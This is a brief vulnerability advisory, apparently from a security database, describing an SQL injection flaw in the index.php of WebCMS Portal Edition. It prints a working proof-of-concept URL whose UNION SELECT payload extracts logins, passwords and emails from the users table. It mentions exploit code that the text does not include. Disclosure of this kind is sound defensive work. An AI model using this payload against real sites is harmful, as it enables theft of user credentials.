|
|
WebCMS Portal Edition 'index.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following proof-of-concept URI is available: http://www.example.com/portal/index.php?menu=tablon&apartado=ver_anuncio&id=-43+union+select+0,0,0,concat_ws(0x3a,login,password,email),0,0,0,0,0,0,0,0+from+usuarios/* The following exploit code is available: |
|
Privacy Statement |